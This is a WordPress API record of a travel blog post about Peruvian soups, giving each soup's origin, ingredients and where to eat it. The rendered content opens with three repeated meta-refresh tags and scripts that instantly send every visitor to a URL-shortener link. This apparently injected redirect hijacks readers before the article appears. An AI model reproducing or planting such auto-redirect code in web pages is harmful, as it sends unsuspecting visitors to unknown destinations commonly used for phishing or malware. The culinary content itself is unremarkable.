{"id":12424,"date":"2025-06-27T10:07:31","date_gmt":"2025-06-27T15:07:31","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=12424"},"modified":"2025-06-27T10:07:34","modified_gmt":"2025-06-27T15:07:34","slug":"the-best-soups-in-peruvian-cuisine-a-warm-and-tasty-journey","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/the-best-soups-in-peruvian-cuisine-a-warm-and-tasty-journey\/","title":{"rendered":"The Best Soups in Peruvian Cuisine: A Warm and Tasty Journey"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Peruvian cuisine is loved worldwide for its amazing flavors and diverse ingredients. While <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-ceviche-perus-national-dish\/\"><strong>ceviche<\/strong><\/a> or lomo saltado shines brightly, let\u2019s not forget about the delicious soups that Peru has to offer! <\/p>\n\n\n\n<p>Then, these soups are not only comforting and nutritious, but they also hold rich stories from our culture.\u00a0No matter if you\u2019re in the beautiful highlands of Cusco or enjoying the coastal breeze.<\/p>\n\n\n\n<p> You can be sure you\u2019ll always find a warm, delicious bowl of soup ready to lift your spirits. So, let\u2019s dive into some of Peru\u2019s best soups, their origins, ingredients, and why you absolutely need to try them!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>&nbsp;Caldo de Gallina \u2013 The Peruvian Power Soup<\/strong><\/h2>\n\n\n\n<p>Imagine a steaming bowl of golden broth, a tender piece of chicken, a whole-boiled egg, and a touch of ginger. Well, this is caldo de gallina, Peru\u2019s ultimate comfort soup.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Origin &amp; Story<\/strong><\/h3>\n\n\n\n<p>Firstly, caldo de gallina is a beloved dish across Peru, often enjoyed late at night or early in the morning. Popularly, people know it as the \u201changover cure\u201d because of its rich broth and energizing ingredients. <\/p>\n\n\n\n<p>For example, many street vendors in Lima serve this hearty soup to night owls looking for something warm after a long night out.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/caldo-de-gallina.jpg?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-12426\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/caldo-de-gallina.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/caldo-de-gallina.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/caldo-de-gallina.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/caldo-de-gallina.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/caldo-de-gallina.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<h3 class=\"wp-block-heading\"><strong>Ingredients<\/strong><\/h3>\n\n\n\n<p>Gallina (mature hen) or chicken<\/p>\n\n\n\n<p>Potatoes<\/p>\n\n\n\n<p>Noodles<\/p>\n\n\n\n<p>Ginger<\/p>\n\n\n\n<p>Green onions<\/p>\n\n\n\n<p>Hard-boiled egg<\/p>\n\n\n\n<p>A squeeze of lime<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Why, Where, and How to Try It<\/strong><\/h3>\n\n\n\n<p>Caldo de Gallina is your hearty, warm choice for a cold night or a tough day. We assure you that this soup will cheer your spirits up after a long, world day. Although you can eat it in almost the whole of Peru, the best place to try it is Lima.<\/p>\n\n\n\n<p>Restaurants like Siete Sopas, restaurant Huapa, or \u201c El Huerto Florido\u201d in <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/day-trips-around-lima-peru\/\"><strong>Lima<\/strong><\/a>, specialize in this loving dish. We encourage you to take a caldo de gallina tour on your trip to Lima!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>&nbsp;Chupe de Camarones \u2013 The Heartiest Peruvian Soup<\/strong><\/h2>\n\n\n\n<p>If you love<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-best-of-perus-seafood-a-flavorful-ocean-journey\/\" title=\"\"> <strong>seafood<\/strong><\/a>, chupe de Camarones is a must-try! This creamy shrimp soup, originally from Arequipa, is one of Peru\u2019s most luxurious and flavorful dishes.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Origin &amp; Story<\/strong><\/h3>\n\n\n\n<p>This soup dates back to colonial times when Spanish and indigenous influences blended to create something special. <\/p>\n\n\n\n<p>The word \u201cchupe\u201d comes from the Quechua language, and it\u2019s rendered as a \u201csoup dish\u201d. <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/arequipa-gastronomy-a-guide-to-the-best-dishes\/\"><strong>Arequipa<\/strong><\/a>, known for its amazing cuisine, made chupe de camarones its signature soup, and today it\u2019s one of the most cherished dishes in Peru.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/49199866877_e523e561fa_k.jpg?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-12427\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/49199866877_e523e561fa_k.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/49199866877_e523e561fa_k.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/49199866877_e523e561fa_k.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/49199866877_e523e561fa_k.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/49199866877_e523e561fa_k.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/49199866877_e523e561fa_k.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/49199866877_e523e561fa_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<h3 class=\"wp-block-heading\"><strong>Ingredients<\/strong><\/h3>\n\n\n\n<p>Fresh shrimp<\/p>\n\n\n\n<p>Yellow potatoes<\/p>\n\n\n\n<p>Corn<\/p>\n\n\n\n<p>Rice<\/p>\n\n\n\n<p>Aj\u00ed panca (Peruvian red chili)<\/p>\n\n\n\n<p>Evaporated milk<\/p>\n\n\n\n<p>Cheese<\/p>\n\n\n\n<p>Egg<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Why, Where, and How to Try It<\/strong><\/h3>\n\n\n\n<p>Chupe de Camarones is a full meal in a bowl\u2014it\u2019s creamy, spicy, and packed with seafood flavor. If you want a taste of the river with a touch of Andean tradition, this chupe is your choice. Of course, the best city to try this hearty soup is Arequipa.<\/p>\n\n\n\n<p>Luckily for you, we wrote an article based on <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/picanterias-the-soul-of-peruvian-andean-cuisine\/\"><strong>picanterias<\/strong><\/a>, the typical Arequipe\u00f1o restaurant, where you can try the best chupes, including chupe de Camarones. Take a look and try them all!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>&nbsp;Sopa Criolla \u2013 The Spicy, Flavorful Classic<\/strong><\/h2>\n\n\n\n<p>Sopa criolla is like a warm hug in a bowl, with its rich, tomato-based broth and perfectly seasoned beef. Just like Caldo de Gallina, this soup is a great choice for battling against winter or a tough day.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Origin &amp; Story<\/strong><\/h3>\n\n\n\n<p>Some people say this soup has Inca origin, based on \u201cinca chupis\u201d or Andean soups. Others state that this soup came to life thanks to \u201cCriollos.\u201d <\/p>\n\n\n\n<p>These people were Peruvians with European Spanish ancestry during colonial times. It became a favorite in Peruvian households for its bold taste and simple ingredients.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/5835598259_ec77efb30a_o.jpg?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-12428\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/5835598259_ec77efb30a_o.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/5835598259_ec77efb30a_o.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/5835598259_ec77efb30a_o.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/5835598259_ec77efb30a_o.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/5835598259_ec77efb30a_o.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/5835598259_ec77efb30a_o.jpg?w=1620&amp;ssl=1 1620w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/5835598259_ec77efb30a_o.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Ingredients<\/strong><\/h3>\n\n\n\n<p>Ground beef<\/p>\n\n\n\n<p>Angel hair pasta<\/p>\n\n\n\n<p>Tomatoes<\/p>\n\n\n\n<p>Aj\u00ed panca<\/p>\n\n\n\n<p>Garlic<\/p>\n\n\n\n<p>Evaporated milk<\/p>\n\n\n\n<p>Egg<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Why, Where, and How to Try It<\/strong><\/h3>\n\n\n\n<p>Sopa criolla is comfort food at its best\u2014a little spicy, a little creamy, and 100% delicious. It\u2019s a typical Lima dish, but Peruvians love it in every city in the country. <\/p>\n\n\n\n<p>People prefer to eat it on cold days or in winter, especially in the Andes; however, you can eat it any time of the year.<\/p>\n\n\n\n<p>One of the best places to eat Sopa Criolla is Grupo Chios in Lima. This chain restaurant specializes in soups, and the star is Sopa Criolla.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Quinoa Soup, The Andean Super Soup<\/strong><\/h2>\n\n\n\n<p><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/quinoa-perus-legendary-superfood-with-health-benefits\/\"><strong>Quinoa<\/strong><\/a>, once the sacred grain of the Incas, is the star of this nutritious and delicious soup. Sopa de Quinua is the favorite in Andean countries such as Bolivia or Ecuador, but Peruvians are experts on adding a special touch to it.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/464738235_8812592792116985_531459714905207170_n.jpg?resize=697%2C523&#038;ssl=1\" alt=\"\" class=\"wp-image-15423\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/464738235_8812592792116985_531459714905207170_n.jpg?w=960&amp;ssl=1 960w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/464738235_8812592792116985_531459714905207170_n.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/464738235_8812592792116985_531459714905207170_n.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/464738235_8812592792116985_531459714905207170_n.jpg?resize=640%2C480&amp;ssl=1 640w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Origin &amp; Story<\/strong><\/h3>\n\n\n\n<p>Grown in the high-altitude regions of the Andes for centuries, quinoa was a staple in the Incan<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-andean-diet-unlocking-the-key-to-longevity\/\"><strong> Andean diet<\/strong><\/a>. This soup was a way for Andean communities to stay warm and energized in the cold mountain climate.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Ingredients<\/strong><\/h3>\n\n\n\n<p>Quinoa<\/p>\n\n\n\n<p>Potatoes<\/p>\n\n\n\n<p>Carrots<\/p>\n\n\n\n<p>Onion<\/p>\n\n\n\n<p>Garlic<\/p>\n\n\n\n<p>Cheese<\/p>\n\n\n\n<p>Fresh herbs<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Why, Where, and How to Try It<\/strong><\/h3>\n\n\n\n<p>Quinoa soup is a nutritious and hearty dish, perfect for cold climates and balanced diets. It begins with saut\u00e9ed onion and garlic, followed by chopped vegetables and washed quinoa.<\/p>\n\n\n\n<p>Water or broth is added, and everything is cooked until tender.\u00a0If using meat, it\u2019s included early for flavor infusion. <\/p>\n\n\n\n<p>Fresh herbs and crumbled cheese can enhance texture and taste. As you may know, Quinoa is a superfood, rich in protein, fiber, iron, magnesium, and B vitamins. In Cusco, it\u2019s an essential traditional dish.<\/p>\n\n\n\n<p>&nbsp;Quinoa soup provides essential nutrients, energy, and easy digestion, making it an excellent choice for a wholesome meal that combines vegetables, protein, and warmth in every spoonful.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>&nbsp;Parihuela \u2013 The Fisherman\u2019s Soup<\/strong><\/h2>\n\n\n\n<p>Parihuela is Peru\u2019s answer to bouillabaisse\u2014a powerful seafood soup packed with fish, shellfish, and bold spices.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Origin &amp; Story<\/strong><\/h3>\n\n\n\n<p>Years ago, the great port of Callao was the most important port in the Americas. During that time, goods were loaded and traded using wooden platforms called <em>parihuelas<\/em>. <\/p>\n\n\n\n<p>When these structures broke and became unusable, they were discarded into the sea\u2014a common practice that still persists.<\/p>\n\n\n\n<p>Along the shores of Callao, fishing communities took advantage of the driftwood washed up by the waves. They used it to cook a rich seafood soup with fish, chili peppers, and other flavorful ingredients. <\/p>\n\n\n\n<p>Over time, the phrase <em>\u201cLet\u2019s get some parihuelas\u201d<\/em> evolved into <em>\u201cLet\u2019s make a Parihuela,\u201d<\/em> giving this traditional Peruvian dish its name.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"464\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/8016956948_15b4ff908d_h.jpg?resize=697%2C464&#038;ssl=1\" alt=\"\" class=\"wp-image-12430\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/8016956948_15b4ff908d_h.jpg?resize=1024%2C682&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/8016956948_15b4ff908d_h.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/8016956948_15b4ff908d_h.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/8016956948_15b4ff908d_h.jpg?resize=1536%2C1023&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/8016956948_15b4ff908d_h.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/8016956948_15b4ff908d_h.jpg?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/8016956948_15b4ff908d_h.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<h3 class=\"wp-block-heading\"><strong>Ingredients<\/strong><\/h3>\n\n\n\n<p>4 small hake fillets<\/p>\n\n\n\n<p>2 crabs<\/p>\n\n\n\n<p>1 teaspoon of <em>aj\u00ed panca<\/em> paste<\/p>\n\n\n\n<p>2 peeled tomatoes, diced<\/p>\n\n\n\n<p>1 red onion, diced<\/p>\n\n\n\n<p>6 scallops<\/p>\n\n\n\n<p>6 shrimp tails<\/p>\n\n\n\n<p>1 cup of cleaned squid<\/p>\n\n\n\n<p>1 glass of wine<\/p>\n\n\n\n<p>Juice of one lemon<\/p>\n\n\n\n<p>6 cooked mussels<\/p>\n\n\n\n<p>2 cloves of minced garlic<\/p>\n\n\n\n<p>1 tablespoon of <em>aj\u00ed amarillo<\/em> paste<\/p>\n\n\n\n<p>6 cooked clams<\/p>\n\n\n\n<p>5 cups of fish broth<\/p>\n\n\n\n<p>Oregano<\/p>\n\n\n\n<p>Bay leaves<\/p>\n\n\n\n<p>Salt and pepper to taste<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Why, Where, and How to Try It<\/strong><\/h3>\n\n\n\n<p>Parihuela is known as \u201cPeruvian seafood medicine\u201d\u2014it\u2019s believed to be an aphrodisiac and a great cure for colds! Cevicheria Mi Peru 1972 in <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/best-things-to-do-in-barranco-lima\/\" title=\"\">Barranco<\/a><\/strong> is probably Peru&#8217;s best restaurant to try this hearty marine soup.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Tips for Travelers: Where and How to Enjoy Peruvian Soups<\/strong><\/h2>\n\n\n\n<p><strong>Street vs. Restaurant:<\/strong> You can find delicious caldo de gallina and sopa criolla at small<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/top-peruvian-street-foods-a-guide-to-tasty-bites\/\"><strong> street<\/strong><\/a> stalls. For a special treat, try chupe de camarones and parihuela at a seafood restaurant.<\/p>\n\n\n\n<p><strong>Best Time to Eat:<\/strong> Many Peruvians enjoy soup as their main meal for lunch. In the Andes, the chilly weather makes a warm bowl of soup even more comforting, no matter the time of the day.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"697\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/cald.jpg?resize=697%2C697&#038;ssl=1\" alt=\"\" class=\"wp-image-12432\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/cald.jpg?resize=1024%2C1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/cald.jpg?resize=300%2C300&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/cald.jpg?resize=150%2C150&amp;ssl=1 150w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/cald.jpg?resize=768%2C767&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/cald.jpg?w=1080&amp;ssl=1 1080w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p><strong>Spice Levels:<\/strong> If you\u2019re not familiar with Peruvian spices, feel free to ask for \u201cpoco picante\u201d (less spicy). This way, you can savor the flavors without any surprises!<\/p>\n\n\n\n<p><strong>Pairing:<\/strong> A refreshing glass of chicha morada (purple corn drink) or <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/inca-kola-the-global-icon-of-peruvian-flavor\/\"><strong>inca kola <\/strong><\/a>pairs wonderfully with a steaming bowl of soup.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Final Thoughts: Warm Your Heart with a Bowl of Peruvian Soup<\/strong><\/h2>\n\n\n\n<p>From the high Andes to the coastal shores, Peruvian soups are rich in tradition and flavor. There\u2019s a soup for everyone!<\/p>\n\n\n\n<p> On your trip to Peru, we recommend you try all the soups we include on the list! Don\u2019t forget that, if you want to know Peru\u2019s cuisine, attractions, and culture, Viagens Machu Picchu can help you out!<\/p>\n\n\n\n<p>Finally, feel free to<a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"https:\/\/viajesmachupicchu.travel\/en\/contact\"><strong> contact<\/strong> <\/a>our specialists, so we\u2019ll tell you everything you need to know about our tours, packages, and best deals! The culinary adventure of your dreams in Peru awaits!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0Caldo de Gallina,  Parihuela, etc are some of Peruvian hearty, creamy, and declious food. Discover with us stories, spots and more about these delicious dishes!<\/p>\n","protected":false},"author":1,"featured_media":12434,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1630,1833,3495],"tags":[3843,4667,949,4669,4672,4670,4673,218,4668,4671,4674,1935],"class_list":["post-12424","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-advice","category-documentary","category-peruvian-flavors","tag-andean-diet","tag-caldo-de","tag-chicha","tag-chupe","tag-criolla","tag-gallina","tag-hen","tag-lima","tag-picanteria-2","tag-poco-picante","tag-power-soup","tag-quinoa-soup"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/64a70350661a540fc9138766-1.jpg?fit=1200%2C660&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-3eo","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/12424","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=12424"}],"version-history":[{"count":8,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/12424\/revisions"}],"predecessor-version":[{"id":16598,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/12424\/revisions\/16598"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/12434"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=12424"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=12424"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=12424"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}